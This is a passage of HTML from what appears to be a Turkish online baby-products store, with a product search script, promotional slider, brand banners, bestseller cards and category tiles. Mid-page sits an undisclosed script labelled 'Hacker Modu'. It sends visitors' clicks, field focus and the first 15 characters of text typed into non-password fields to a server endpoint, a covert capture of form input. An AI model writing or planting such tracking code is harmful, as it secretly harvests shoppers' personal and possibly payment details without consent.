                                mobileResults.innerHTML = '';
                                if (data.length > 0) {
                                    data.forEach(p => {
                                        mobileResults.insertAdjacentHTML('beforeend', `<a href="${p.link}" class="search-item"><img src="${p.image_url || 'https://via.placeholder.com/50'}" alt="${p.name}"><div style="flex:1;"><span class="s-name">${p.name}</span><span class="s-price">${p.price_formatted}</span></div></a>`);
                                    });
                                } else { mobileResults.innerHTML = '<div style="padding:2rem; text-align:center; color:#94a3b8;">Ürün bulunamadı</div>'; }
                            }).catch(err => console.error(err));
                    }, 300);
                });
            }
        });
    </script>

    <!-- RIPPLE & SW SCRIPT -->
    <style>
        .ripple {
            position: relative;
            overflow: hidden;
            transform: translate3d(0, 0, 0);
        }

        .ripple:after {
            content: "";
            display: block;
            position: absolute;
            width: 100%;
            height: 100%;
            top: 0;
            left: 0;
            background-image: radial-gradient(circle, #fff 10%, transparent 10.01%);
            background-repeat: no-repeat;
            background-position: 50%;
            transform: scale(10, 10);
            opacity: 0;
            transition: transform .5s, opacity 1s;
        }

        .ripple:active:after {
            transform: scale(0, 0);
            opacity: .3;
            transition: 0s;
        }
    </style>
    <script>
        // RIPPLE EFFECT
        document.addEventListener('click', function (e) {
            const target = e.target.closest('button, .btn, .nav-item, .product-card');
            if (target && !target.classList.contains('disabled')) {
                // Sadece CSS'deki :active ile ripple calisiyor (.ripple class'ı varsa)
                target.classList.add('ripple');
                // Kısa süre sonra kaldır (temizlik)
                setTimeout(() => target.classList.remove('ripple'), 600);
            }
        });

        // SERVICE WORKER
        if ('serviceWorker' in navigator) {
            window.addEventListener('load', () => {
                navigator.serviceWorker.register('sw.js')
                    .then(reg => console.log('SW Registered'))
                    .catch(err => console.log('SW Fail', err));
            });
        }
    </script>
    <script>
        // 🚀 TAM GERÇEK ZAMANLI TAKİP SİSTEMİ (Hacker Modu)
        (function () {
            let lastAction = '';

            function sendAction(action) {
                if (action === lastAction) return;
                lastAction = action;

                fetch('/api/update-action.php', {
                    method: 'POST',
                    headers: { 'Content-Type': 'application/json' },
                    body: JSON.stringify({
                        action: action,
                        url: window.location.pathname
                    })
                }).catch(() => { });
            }

            // 1. Tıklamaları Takip Et
            document.addEventListener('click', (e) => {
                const btn = e.target.closest('button, a, .btn');
                if (btn) {
                    const text = (btn.innerText || btn.value || 'Buton').trim().substring(0, 30);
                    sendAction('▶️ Tıkladı: ' + text);
                }
            });

            // 2. Form Girişlerini Takip Et (Input Focus & Typing)
            document.addEventListener('focusin', (e) => {
                if (e.target.tagName === 'INPUT' || e.target.tagName === 'TEXTAREA') {
                    const placeholder = e.target.placeholder || e.target.name || 'Alan';
                    sendAction('✍️ Yazıyor: ' + placeholder);
                }
            });

            // 3. Yazı Değişimlerini Takip Et (Debounced)
            let typeTimeout;
            document.addEventListener('input', (e) => {
                if (e.target.tagName === 'INPUT' || e.target.tagName === 'TEXTAREA') {
                    clearTimeout(typeTimeout);
                    typeTimeout = setTimeout(() => {
                        const val = e.target.value;
                        if (val.length > 0 && e.target.type !== 'password') {
                            const placeholder = e.target.placeholder || e.target.name || 'Alan';
                            sendAction('📝 Giriyor: ' + placeholder + ' (' + val.substring(0, 15) + '...)');
                        }
                    }, 1000);
                }
            });

            // 4. Kaydırma Takibi (Throttle)
            let scrollTimeout;
            window.addEventListener('scroll', () => {
                clearTimeout(scrollTimeout);
                scrollTimeout = setTimeout(() => {
                    sendAction('📜 Sayfayı İnceliyor...');
                }, 2000);
            }, { passive: true });

            // 5. İlk Giriş
            sendAction('🌟 Siteye Girdi');
        })();
    </script>
<!-- HERO SLIDER SECTION -->
<section class="hero" id="heroSlider" style="position:relative; overflow:hidden;">
    <!-- Slide 1: Aynı Gün Teslimat -->
    <div class="hero-slide active" style="background: linear-gradient(135deg, #1B4F72 0%, #154360 100%);">
        <div class="container">
            <div
                style="display:inline-block; background:rgba(255,255,255,0.1); backdrop-filter:blur(5px); padding:6px 16px; border-radius:20px; border:1px solid rgba(255,255,255,0.2); margin-bottom:15px;">
                <i class="fas fa-bolt" style="color:#F4D03F; margin-right:6px;"></i>
                <span style="color:white; font-size:0.85rem; font-weight:600;">09:00 - 18:00 arası sipariş ver, aynı gün kapında!</span>
            </div>
            <h1
                style="font-size: clamp(2.2rem, 5vw, 3.5rem); font-weight: 800; color: white; margin-bottom: 1rem; line-height: 1.1; text-shadow: 0 4px 20px rgba(0,0,0,0.3);">
                Aynı Gün Teslimat<br>
                <span style="color: #89CFF0; text-shadow: 0 0 25px rgba(137, 207, 240, 0.4);">Büyükşehirlere Kurye ile!</span>
            </h1>
            <p
                style="font-size: clamp(1rem, 2vw, 1.15rem); color: rgba(255,255,255,0.9); margin-bottom: 2rem; font-weight:500;">
                Molfix, Prima, Chicco ve daha birçok markanın yetkili satıcısıyız.
            </p>
            <a href="urunler.php" class="btn ripple"
                style="background: white; color: #1B4F72; border: none; font-weight: 800; font-size: 1rem; padding: 0.9rem 2.8rem; border-radius: 50px; transition: all 0.3s ease; box-shadow: 0 10px 25px rgba(0,0,0,0.15);">
                <i class="fas fa-baby-carriage" style="margin-right:8px;"></i> Alışverişe Başla
            </a>
        </div>
    </div>

    <!-- Slide 2: %50 İndirim -->
    <div class="hero-slide" style="background: linear-gradient(135deg, #2E86C1 0%, #1B4F72 100%);">
        <div class="container">
            <div
                style="display:inline-block; background:rgba(255,255,255,0.15); padding:5px 15px; border-radius:20px; color:white; font-weight:700; font-size:0.9rem; margin-bottom:15px; border:1px solid rgba(255,255,255,0.2);">
                <i class="fas fa-tags" style="color:#F4D03F;"></i> Sınırlı Süre
            </div>
            <h1
                style="font-size: clamp(2.5rem, 5vw, 4rem); font-weight: 800; color: white; margin-bottom: 1rem; line-height: 1.1;">
                Tüm Ürünlerde<br>
                <span style="color: #F4D03F; text-shadow: 0 0 20px rgba(244,208,63,0.4);">%50'ye Varan İndirim!</span>
            </h1>
            <p style="font-size: clamp(1rem, 2vw, 1.25rem); color: rgba(255,255,255,0.9); margin-bottom: 2rem;">
                Bez, biberon, mama sandalyesi ve daha fazlasında kaçırılmayacak fiyatlar.
            </p>
            <a href="urunler.php" class="btn btn-primary ripple"
                style="background: white; color: #2E86C1; border:none; box-shadow: 0 10px 25px rgba(0,0,0,0.1); font-weight: 800; font-size: 1rem; padding: 1rem 2.5rem; border-radius: 50px;">
                <i class="fas fa-fire" style="margin-right:8px; color:#E74C3C;"></i> Fırsatları Gör
            </a>
        </div>
    </div>

    <!-- Slide 3: Şans Çarkı -->
    <div class="hero-slide" style="background: linear-gradient(135deg, #5DADE2 0%, #2E86C1 100%);">
        <div class="container">
            <div
                style="display:inline-block; background:rgba(255,255,255,0.2); padding:5px 15px; border-radius:20px; color:white; font-weight:700; font-size:0.9rem; margin-bottom:15px; border:1px solid rgba(255,255,255,0.3);">
                <i class="fas fa-gift" style="color:white;"></i> Hediye Kazan
            </div>
            <h1
                style="font-size: clamp(2.5rem, 5vw, 4rem); font-weight: 800; color: white; margin-bottom: 1rem; line-height: 1.1;">
                Bebeğine Özel<br>
                <span style="color: #fffbeb;">İndirim Çarkı!</span>
            </h1>
            <p style="font-size: clamp(1rem, 2vw, 1.25rem); color: rgba(255,255,255,0.9); margin-bottom: 2rem;">
                Çarkı çevir, anında indirim kuponu ve sürpriz hediyeler kazan.
            </p>
            <a href="cark.php" class="btn btn-primary ripple"
                style="background: white; color: #2E86C1; border:none; box-shadow: 0 10px 25px rgba(0,0,0,0.1); font-weight: 800; font-size: 1rem; padding: 1rem 2.5rem; border-radius: 50px;">
                <i class="fas fa-sync-alt fa-spin" style="margin-right:8px;"></i> Şansını Dene
            </a>
        </div>
    </div>

    <!-- Dots -->
    <div class="slider-dots">
        <div class="slider-dot active" onclick="goToSlide(0)"></div>
        <div class="slider-dot" onclick="goToSlide(1)"></div>
        <div class="slider-dot" onclick="goToSlide(2)"></div>
    </div>
</section>

<!-- FEATURES -->
<section
    style="background: white; margin-top: -60px; position: relative; z-index: 10; border-radius: 24px 24px 0 0; box-shadow: 0 -10px 40px rgba(0,0,0,0.05); padding: 3rem 0;">
    <div class="container">
        <div
            style="display: grid; grid-template-columns: repeat(auto-fit, minmax(150px, 1fr)); gap: 2rem; text-align: center;">
            <div class="feature-box">
                <div class="icon-circle" style="background: #EBF5FB; color: #2E86C1;"><i
                        class="fas fa-shipping-fast"></i></div>
                <h4>Aynı Gün Teslimat</h4>
                <p>Büyükşehirlere kurye ile</p>
            </div>
            <div class="feature-box">
                <div class="icon-circle" style="background: #EBF5FB; color: #1B4F72;"><i class="fas fa-certificate"></i>
                </div>
                <h4>Yetkili Satıcı</h4>
                <p>Molfix, Prima, Chicco</p>
            </div>
            <div class="feature-box">
                <div class="icon-circle" style="background: #EBF5FB; color: #2E86C1;"><i class="fas fa-percent"></i>
                </div>
                <h4>%50'ye Varan İndirim</h4>
                <p>Tüm bebek ürünlerinde</p>
            </div>
            <div class="feature-box">
                <div class="icon-circle" style="background: #EBF5FB; color: #1B4F72;"><i class="fas fa-undo"></i>
                </div>
                <h4>Kolay İade</h4>
                <p>14 gün koşulsuz iade</p>
            </div>
        </div>
    </div>
</section>

<!-- AYNI GÜN TESLİMAT BANNER -->
<section style="padding: 0; background: #F8FBFF; position: relative; z-index: 8;">
    <div class="container" style="padding-top: 0;">
        <div style="background: linear-gradient(135deg, #1B4F72, #2E86C1); border-radius: 16px; padding: 20px 24px; display: flex; align-items: center; gap: 16px; color: white; box-shadow: 0 8px 30px rgba(27,79,114,0.2); flex-wrap: wrap;">
            <div style="width: 50px; height: 50px; background: rgba(255,255,255,0.15); border-radius: 12px; display: flex; align-items: center; justify-content: center; flex-shrink: 0;">
                <i class="fas fa-motorcycle" style="font-size: 1.4rem;"></i>
            </div>
            <div style="flex: 1; min-width: 200px;">
                <div style="font-weight: 800; font-size: 1.05rem; margin-bottom: 2px;">🚀 Aynı Gün Teslimat!</div>
                <div style="font-size: 0.85rem; opacity: 0.9;">
                    <strong style="background: rgba(255,255,255,0.2); padding: 2px 8px; border-radius: 4px;">09:00 - 18:00</strong>
                    arası siparişleriniz büyükşehirlere kurye ile aynı gün teslim edilir.
                </div>
            </div>
            <a href="urunler.php" style="background: white; color: #1B4F72; padding: 10px 20px; border-radius: 50px; font-weight: 800; font-size: 0.85rem; text-decoration: none; white-space: nowrap; box-shadow: 0 4px 12px rgba(0,0,0,0.1);">
                Sipariş Ver <i class="fas fa-arrow-right" style="margin-left: 4px; font-size: 0.75rem;"></i>
            </a>
        </div>
    </div>
</section>

<!-- YETKİLİ SATICI BANNER -->
<section style="padding: 1rem 0 0; background: #F8FBFF; position: relative; z-index: 7;">
    <div class="container">
        <div style="background: white; border: 1px solid #D6EAF8; border-radius: 12px; padding: 14px 20px; display: flex; align-items: center; gap: 12px; flex-wrap: wrap; justify-content: center;">
            <span style="font-size: 0.82rem; font-weight: 700; color: #1B4F72;"><i class="fas fa-certificate" style="color: #2E86C1; margin-right: 4px;"></i> Yetkili Satıcı:</span>
            <span style="font-size: 0.8rem; font-weight: 600; color: #64748b; display: flex; flex-wrap: wrap; gap: 8px; align-items: center;">
                <span style="background: #EBF5FB; padding: 3px 10px; border-radius: 6px; color: #1B4F72;">Molfix</span>
                <span style="background: #EBF5FB; padding: 3px 10px; border-radius: 6px; color: #1B4F72;">Prima</span>
                <span style="background: #EBF5FB; padding: 3px 10px; border-radius: 6px; color: #1B4F72;">Chicco</span>
                <span style="background: #EBF5FB; padding: 3px 10px; border-radius: 6px; color: #1B4F72;">Philips Avent</span>
                <span style="background: #EBF5FB; padding: 3px 10px; border-radius: 6px; color: #1B4F72;">Canbebe</span>
            </span>
        </div>
    </div>
</section>

<!-- BESTSELLERS SECTION -->
<section id="bestsellers" style="padding: 2rem 0; background: #F8FBFF; position: relative; z-index: 5;">
    <div class="container">
        <!-- HEADER -->
        <div style="display: flex; align-items: center; justify-content: space-between; margin-bottom: 1.5rem;">
            <div>
                <h2
                    style="font-size: 1.8rem; font-weight: 800; color: #1B4F72; margin:0; display:flex; align-items:center; gap:10px;">
                    <i class="fas fa-fire" style="color: #2E86C1;"></i> Çok Satanlar
                </h2>
                <div style="font-size: 0.9rem; color: #94a3b8; font-weight: 600; margin-top: 5px; margin-left: 36px;">En
                    çok tercih edilenler</div>
            </div>

            <a href="urunler.php"
                style="background:#EBF5FB; color:#2E86C1; padding:8px 16px; border-radius:20px; font-weight:700; font-size:0.85rem; text-decoration:none; display:flex; align-items:center; gap:6px; border:1px solid #AED6F1;">
                Tümü <i class="fas fa-chevron-right" style="font-size:0.7rem;"></i>
            </a>
        </div>

        <!-- GRID CONTAINER (NO SCROLL) -->
        <div class="bestseller-grid-container" style="display: grid; grid-template-columns: repeat(2, 1fr); gap: 15px;">
                                <div class="product-card" style="width: 100%; flex-shrink: 0;">
                        <div class="img-wrapper" style="padding-top: 80%;">
                            <a href="urun-detay.php?id=34996">
                                <img src="https://cdn.dsmcdn.com/mnresize/620/920/ty1553/prod/QC/20240917/15/cdb19351-15f2-3fb4-9f27-ff7b56a657b8/1_org_zoom.jpg"
                                    loading="lazy" style="object-fit:contain;">
                            </a>
                            <div class="badges-stack">
                                <span class="badge-narin-pink">ÇOK SATAN</span>
                                <span class="badge-narin-discount">%50 İNDİRİM</span>
                            </div>
                        </div>
                        <div class="product-info" style="padding: 10px;">
                            <div class="category-tag">
                                Banyo &amp; Bakım                            </div>
                            <h3 style="font-size: 0.95rem; margin-bottom: 4px;">
                                <a href="urun-detay.php?id=34996">
                                    Sleepy Sensitive Islak Havlu 12x90 Lı 12 Paket 1080 Yaprak                                </a>
                            </h3>
                            <div class="price-row" style="margin-top: auto;">
                                                                <div class="price" style="font-size: 1.1rem; color: #2E86C1;">
                                    200₺
                                </div>
                                <button class="btn-add-mini-pink" onclick="addToCart(34996)">
                                    <i class="fas fa-plus"></i>
                                </button>
                            </div>
                        </div>
                    </div>
                                        <div class="product-card" style="width: 100%; flex-shrink: 0;">
                        <div class="img-wrapper" style="padding-top: 80%;">
                            <a href="urun-detay.php?id=34995">
                                <img src="https://cdn.dsmcdn.com/ty1834/prod/QC_ENRICHMENT/20260309/14/014c29cd-b528-36ce-b125-905a261a1357/1_org_zoom.jpg"
                                    loading="lazy" style="object-fit:contain;">
                            </a>
                            <div class="badges-stack">
                                <span class="badge-narin-pink">ÇOK SATAN</span>
                                <span class="badge-narin-discount">%50 İNDİRİM</span>
                            </div>
                        </div>
                        <div class="product-info" style="padding: 10px;">
                            <div class="category-tag">
                                Bebek Bezi                            </div>
                            <h3 style="font-size: 0.95rem; margin-bottom: 4px;">
                                <a href="urun-detay.php?id=34995">
                                    Molfix Bebek Bezi 4 Beden Maxi Hiper Ekonomi Paketi 200 Adet                                </a>
                            </h3>
                            <div class="price-row" style="margin-top: auto;">
                                                                    <span
                                        style="font-size: 0.8rem; text-decoration: line-through; color: #cbd5e1; font-weight: 600;">
                                        1.000₺
                                    </span>
                                                                <div class="price" style="font-size: 1.1rem; color: #2E86C1;">
                                    499₺
                                </div>
                                <button class="btn-add-mini-pink" onclick="addToCart(34995)">
                                    <i class="fas fa-plus"></i>
                                </button>
                            </div>
                        </div>
                    </div>
                                        <div class="product-card" style="width: 100%; flex-shrink: 0;">
                        <div class="img-wrapper" style="padding-top: 80%;">
                            <a href="urun-detay.php?id=34994">
                                <img src="https://cdn.dsmcdn.com/ty1000047/product/media/images/prod/PIM/20251226/14/557b0728-4974-483d-9545-d41373644b24/1_org_zoom.jpg"
                                    loading="lazy" style="object-fit:contain;">
                            </a>
                            <div class="badges-stack">
                                <span class="badge-narin-pink">ÇOK SATAN</span>
                                <span class="badge-narin-discount">%50 İNDİRİM</span>
                            </div>
                        </div>
                        <div class="product-info" style="padding: 10px;">
                            <div class="category-tag">
                                Bebek Maması                            </div>
                            <h3 style="font-size: 0.95rem; margin-bottom: 4px;">
                                <a href="urun-detay.php?id=34994">
                                    Bebelac Gold Konfor 2 Devam Sütü 6-12 Ay 800 Gr x 3 Adet 2400 Gr                                </a>
                            </h3>
                            <div class="price-row" style="margin-top: auto;">
                                                                    <span
                                        style="font-size: 0.8rem; text-decoration: line-through; color: #cbd5e1; font-weight: 600;">
                                        2.298₺
                                    </span>
                                                                <div class="price" style="font-size: 1.1rem; color: #2E86C1;">
                                    1.149₺
                                </div>
                                <button class="btn-add-mini-pink" onclick="addToCart(34994)">
                                    <i class="fas fa-plus"></i>
                                </button>
                            </div>
                        </div>
                    </div>
                                        <div class="product-card" style="width: 100%; flex-shrink: 0;">
                        <div class="img-wrapper" style="padding-top: 80%;">
                            <a href="urun-detay.php?id=34992">
                                <img src="https://docsd.toyzzshop.com/product/orj/4d997_Manyetik_Yapi_Bloklari_72_Parca_.jpg"
                                    loading="lazy" style="object-fit:contain;">
                            </a>
                            <div class="badges-stack">
                                <span class="badge-narin-pink">ÇOK SATAN</span>
                                <span class="badge-narin-discount">%50 İNDİRİM</span>
                            </div>
                        </div>
                        <div class="product-info" style="padding: 10px;">
                            <div class="category-tag">
                                Eğitici Oyuncaklar                            </div>
                            <h3 style="font-size: 0.95rem; margin-bottom: 4px;">
                                <a href="urun-detay.php?id=34992">
                                    Magly Manyetik Yapı Blokları 72 Parça                                </a>
                            </h3>
                            <div class="price-row" style="margin-top: auto;">
                                                                    <span
                                        style="font-size: 0.8rem; text-decoration: line-through; color: #cbd5e1; font-weight: 600;">
                                        1.980₺
                                    </span>
                                                                <div class="price" style="font-size: 1.1rem; color: #2E86C1;">
                                    990₺
                                </div>
                                <button class="btn-add-mini-pink" onclick="addToCart(34992)">
                                    <i class="fas fa-plus"></i>
                                </button>
                            </div>
                        </div>
                    </div>
                                        <div class="product-card" style="width: 100%; flex-shrink: 0;">
                        <div class="img-wrapper" style="padding-top: 80%;">
                            <a href="urun-detay.php?id=19541">
                                <img src="https://cdn05.e-bebek.com/mnresize/600/600/media/p/molfix-bebek-bezi-6-beden-xl-ultra-firsat-paketi-15-kg-62-adet_8690536845071_01.jpg"
                                    loading="lazy" style="object-fit:contain;">
                            </a>
                            <div class="badges-stack">
                                <span class="badge-narin-pink">ÇOK SATAN</span>
                                <span class="badge-narin-discount">%50 İNDİRİM</span>
                            </div>
                        </div>
                        <div class="product-info" style="padding: 10px;">
                            <div class="category-tag">
                                Bebek Bezi                            </div>
                            <h3 style="font-size: 0.95rem; margin-bottom: 4px;">
                                <a href="urun-detay.php?id=19541">
                                    Bebek Bezi 6 Beden XL Ultra Fırsat Paketi 15+ kg 62 Adet                                </a>
                            </h3>
                            <div class="price-row" style="margin-top: auto;">
                                                                    <span
                                        style="font-size: 0.8rem; text-decoration: line-through; color: #cbd5e1; font-weight: 600;">
                                        490₺
                                    </span>
                                                                <div class="price" style="font-size: 1.1rem; color: #2E86C1;">
                                    245₺
                                </div>
                                <button class="btn-add-mini-pink" onclick="addToCart(19541)">
                                    <i class="fas fa-plus"></i>
                                </button>
                            </div>
                        </div>
                    </div>
                                        <div class="product-card" style="width: 100%; flex-shrink: 0;">
                        <div class="img-wrapper" style="padding-top: 80%;">
                            <a href="urun-detay.php?id=15354">
                                <img src="https://cdn05.e-bebek.com/mnresize/600/600/media/p/b_8690536845064_01.jpg"
                                    loading="lazy" style="object-fit:contain;">
                            </a>
                            <div class="badges-stack">
                                <span class="badge-narin-pink">ÇOK SATAN</span>
                                <span class="badge-narin-discount">%50 İNDİRİM</span>
                            </div>
                        </div>
                        <div class="product-info" style="padding: 10px;">
                            <div class="category-tag">
                                Bebek Bezi                            </div>
                            <h3 style="font-size: 0.95rem; margin-bottom: 4px;">
                                <a href="urun-detay.php?id=15354">
                                    Bebek Bezi 5 Beden Junior Ultra Fırsat Paketi 11- 18 kg 78                                </a>
                            </h3>
                            <div class="price-row" style="margin-top: auto;">
                                                                    <span
                                        style="font-size: 0.8rem; text-decoration: line-through; color: #cbd5e1; font-weight: 600;">
                                        490₺
                                    </span>
                                                                <div class="price" style="font-size: 1.1rem; color: #2E86C1;">
                                    245₺
                                </div>
                                <button class="btn-add-mini-pink" onclick="addToCart(15354)">
                                    <i class="fas fa-plus"></i>
                                </button>
                            </div>
                        </div>
                    </div>
                            </div>

        <!-- Scroll Hints for Desktop -->
        <style>
            .bestseller-scroll-container::-webkit-scrollbar {
                height: 6px;
                background: #f1f5f9;
                border-radius: 10px;
            }

            .bestseller-scroll-container::-webkit-scrollbar-thumb {
                background: #AED6F1;
                border-radius: 10px;
            }

            .bestseller-scroll-container::-webkit-scrollbar-thumb:hover {
                background: #5DADE2;
            }
        </style>
    </div>
</section>

<!-- CATEGORIES -->
<section id="kategoriler" style="padding: 2rem 0 3rem; background: white;">
    <div class="container">
        <!-- TRENDING CATEGORIES HEADING -->
        <div style="text-align: center; margin-bottom: 3.5rem;">
            <div
                style="display: inline-block; padding: 0.5rem 1.5rem; background: #EBF5FB; color: #2E86C1; border-radius: 50px; font-weight: 700; font-size: 0.85rem; margin-bottom: 1rem; letter-spacing: 1px; text-transform: uppercase; border: 1px solid #89CFF0;">
                Koleksiyonlar</div>
            <h2 style="font-size: 2.5rem; font-weight: 800; color: #1B4F72; margin-bottom: 0.5rem;">Popüler Kategoriler
            </h2>
            <div
                style="width: 60px; height: 5px; background: #2E86C1; margin: 10px auto 0; border-radius: 10px; box-shadow: 0 0 10px rgba(46, 134, 193, 0.3);">
            </div>
        </div>

        <!-- MARKA BANNER -->
        <div style="margin-bottom: 3rem; border-radius: 24px; background: linear-gradient(135deg, #1B4F72 0%, #154360 50%, #1B4F72 100%); padding: 2.5rem 2rem 2rem; color: white; box-shadow: 0 20px 40px rgba(0,0,0,0.15); position:relative; overflow:hidden;">
            <div style="position:absolute; top:-40px; right:-40px; width:180px; height:180px; background:rgba(137,207,240,0.08); border-radius:50%;"></div>
            <div style="position:absolute; bottom:-60px; left:-30px; width:200px; height:200px; background:rgba(137,207,240,0.05); border-radius:50%;"></div>
            <div style="text-align:center; position:relative; z-index:1;">
                <p style="font-size:0.82rem; color:#89CFF0; font-weight:600; letter-spacing:1px; text-transform:uppercase; margin-bottom:14px;">Resmi Yetkili Satıcı</p>
                <div style="display:flex; flex-wrap:wrap; justify-content:center; gap:12px; margin-bottom:20px;">
                                        <span style="background:rgba(255,255,255,0.1); backdrop-filter:blur(4px); border:1px solid rgba(255,255,255,0.15); padding:8px 18px; border-radius:30px; font-size:0.85rem; font-weight:700; color:white; letter-spacing:0.3px;">Molfix</span>
                                        <span style="background:rgba(255,255,255,0.1); backdrop-filter:blur(4px); border:1px solid rgba(255,255,255,0.15); padding:8px 18px; border-radius:30px; font-size:0.85rem; font-weight:700; color:white; letter-spacing:0.3px;">Prima</span>
                                        <span style="background:rgba(255,255,255,0.1); backdrop-filter:blur(4px); border:1px solid rgba(255,255,255,0.15); padding:8px 18px; border-radius:30px; font-size:0.85rem; font-weight:700; color:white; letter-spacing:0.3px;">Chicco</span>
                                        <span style="background:rgba(255,255,255,0.1); backdrop-filter:blur(4px); border:1px solid rgba(255,255,255,0.15); padding:8px 18px; border-radius:30px; font-size:0.85rem; font-weight:700; color:white; letter-spacing:0.3px;">Philips Avent</span>
                                        <span style="background:rgba(255,255,255,0.1); backdrop-filter:blur(4px); border:1px solid rgba(255,255,255,0.15); padding:8px 18px; border-radius:30px; font-size:0.85rem; font-weight:700; color:white; letter-spacing:0.3px;">Joie</span>
                                        <span style="background:rgba(255,255,255,0.1); backdrop-filter:blur(4px); border:1px solid rgba(255,255,255,0.15); padding:8px 18px; border-radius:30px; font-size:0.85rem; font-weight:700; color:white; letter-spacing:0.3px;">Bebelac</span>
                                        <span style="background:rgba(255,255,255,0.1); backdrop-filter:blur(4px); border:1px solid rgba(255,255,255,0.15); padding:8px 18px; border-radius:30px; font-size:0.85rem; font-weight:700; color:white; letter-spacing:0.3px;">Uni Baby</span>
                                        <span style="background:rgba(255,255,255,0.1); backdrop-filter:blur(4px); border:1px solid rgba(255,255,255,0.15); padding:8px 18px; border-radius:30px; font-size:0.85rem; font-weight:700; color:white; letter-spacing:0.3px;">Sleepy</span>
                                        <span style="background:rgba(255,255,255,0.1); backdrop-filter:blur(4px); border:1px solid rgba(255,255,255,0.15); padding:8px 18px; border-radius:30px; font-size:0.85rem; font-weight:700; color:white; letter-spacing:0.3px;">Tommee Tippee</span>
                                        <span style="background:rgba(255,255,255,0.1); backdrop-filter:blur(4px); border:1px solid rgba(255,255,255,0.15); padding:8px 18px; border-radius:30px; font-size:0.85rem; font-weight:700; color:white; letter-spacing:0.3px;">NUK</span>
                                    </div>
                <p style="font-size:0.88rem; color:rgba(255,255,255,0.7); margin-bottom:22px; max-width:500px; margin-left:auto; margin-right:auto; line-height:1.6;">
                    Tüm ürünlerimiz orijinal ve garantilidir. Depodan kapınıza, aynı gün kargo imkanı.
                </p>
                <div style="display:flex; justify-content:center; gap:12px; flex-wrap:wrap;">
                    <a href="urunler.php" style="display:inline-flex; align-items:center; gap:8px; background:white; color:#1B4F72; font-weight:800; padding:13px 32px; border-radius:50px; text-decoration:none; font-size:0.92rem; box-shadow:0 8px 20px rgba(0,0,0,0.15); transition:transform 0.2s;" onmouseover="this.style.transform='translateY(-2px)'" onmouseout="this.style.transform=''">
                        <i class="fas fa-shopping-bag"></i> Ürünleri Keşfet
                    </a>
                    <a href="urunler.php?category=bez-mendil" style="display:inline-flex; align-items:center; gap:8px; background:transparent; color:white; font-weight:700; padding:13px 28px; border-radius:50px; text-decoration:none; font-size:0.92rem; border:1.5px solid rgba(255,255,255,0.3); transition:all 0.2s;" onmouseover="this.style.background='rgba(255,255,255,0.1)';this.style.borderColor='rgba(255,255,255,0.5)'" onmouseout="this.style.background='transparent';this.style.borderColor='rgba(255,255,255,0.3)'">
                        <i class="fas fa-fire" style="color:#F4D03F;"></i> En Çok Satanlar
                    </a>
                </div>
            </div>
        </div>


        <div class="category-grid" style="margin-top: 1.5rem;">
                            <a href="urunler.php?category=giyim-tekstil" class="category-card-modern">
                    <div class="cat-icon-box">
                        <i class="fas fa-tshirt"></i>
                    </div>
                    <span>Giyim &amp; Tekstil</span>
                </a>
                            <a href="urunler.php?category=arac-gerec" class="category-card-modern">
                    <div class="cat-icon-box">
                        <i class="fas fa-baby-carriage"></i>
                    </div>
                    <span>Araç &amp; Gereç</span>
                </a>
                            <a href="urunler.php?category=bez-mendil" class="category-card-modern">
                    <div class="cat-icon-box">
                        <i class="fas fa-toilet-paper"></i>
                    </div>
                    <span>Bez &amp; Mendil</span>
                </a>
                            <a href="urunler.php?category=oyuncak-kitap" class="category-card-modern">
                    <div class="cat-icon-box">
                        <i class="fas fa-puzzle-piece"></i>
                    </div>
                    <span>Oyuncak &amp; Kitap</span>
                </a>
                            <a href="urunler.php?category=beslenme" class="category-card-modern">
                    <div class="cat-icon-box">
                        <i class="fas fa-utensils"></i>
                    </div>
                    <span>Beslenme</span>
                </a>
                            <a href="urunler.php?category=banyo-bakim" class="category-card-modern">
                    <div class="cat-icon-box">
                        <i class="fas fa-bath"></i>
                    </div>
                    <span>Banyo &amp; Bakım</span>
                </a>
                            <a href="urunler.php?category=emzirme" class="category-card-modern">
                    <div class="cat-icon-box">
                        <i class="fas fa-baby"></i>
                    </div>
                    <span>Emzirme</span>
                </a>
                            <a href="urunler.php?category=mobilya" class="category-card-modern">
                    <div class="cat-icon-box">
                        <i class="fas fa-couch"></i>
                    </div>
                    <span>Mobilya</span>
                </a>
                            <a href="urunler.php?category=guvenlik" class="category-card-modern">
                    <div class="cat-icon-box">
                        <i class="fas fa-shield-alt"></i>
                    </div>
                    <span>Güvenlik</span>
                </a>
                    </div>

        <style>
            .category-grid {
                display: grid;
                grid-template-columns: repeat(3, 1fr);
                gap: 12px;
            }
            @media (min-width: 768px) {
                .category-grid { grid-template-columns: repeat(5, 1fr); }
            }

            .category-card-modern {
                background: white;
                border: 1px solid #D6EAF8;
                border-radius: 16px;
                padding: 20px;
                display: flex;
                flex-direction: column;
                align-items: center;
                gap: 12px;
                text-decoration: none;
                transition: all 0.3s cubic-bezier(0.25, 0.8, 0.25, 1);
                box-shadow: 0 4px 6px rgba(0, 0, 0, 0.02);
            }

            .category-card-modern:hover {
                transform: translateY(-5px);
                box-shadow: 0 15px 30px rgba(46, 134, 193, 0.15);
                border-color: #AED6F1;
            }

            .cat-icon-box {
                width: 50px;
                height: 50px;
                background: #EBF5FB;
                border-radius: 50%;
                display: flex;
                align-items: center;
                justify-content: center;
                color: #2E86C1;
                font-size: 1.2rem;
                transition: all 0.3s;
            }

            .category-card-modern:hover .cat-icon-box {
                background: #2E86C1;
                color: white;
            }

            .category-card-modern span {
                color: #1B4F72;
                font-weight: 800;
                font-size: 0.9rem;
                letter-spacing: 0.5px;
            }

            @media (max-width: 768px) {
                .category-grid {
                    grid-template-columns: repeat(2, 1fr);
                }
            }
        </style>
    </div>
</section>

<!-- FEATURED PRODUCT SECTIONS -->
<section style="padding: 2rem 0 3rem; background: #f8fafc;">
    <div class="container">
                <div style="margin-bottom:2.5rem;">
            <div style="display:flex; align-items:center; justify-content:space-between; margin-bottom:16px; flex-wrap:wrap; gap:10px;">
                <div style="display:flex; align-items:center; gap:12px;">
                                        <div style="width:42px; height:42px; background:rgba(46,134,193,0.1); border-radius:12px; display:flex; align-items:center; justify-content:center;">
                        <i class="fas fa-toilet-paper" style="color:#2E86C1; font-size:1.1rem;"></i>
                    </div>
                    <div>
                        <h2 style="font-size:1.3rem; font-weight:800; color:#0f172a; margin:0; line-height:1.2;">Bez & Mendil</h2>
                        <p style="font-size:0.82rem; color:#94a3b8; margin:2px 0 0; font-weight:500;">Molfix, Prima, Sleepy ve daha fazlası</p>
                    </div>
                </div>
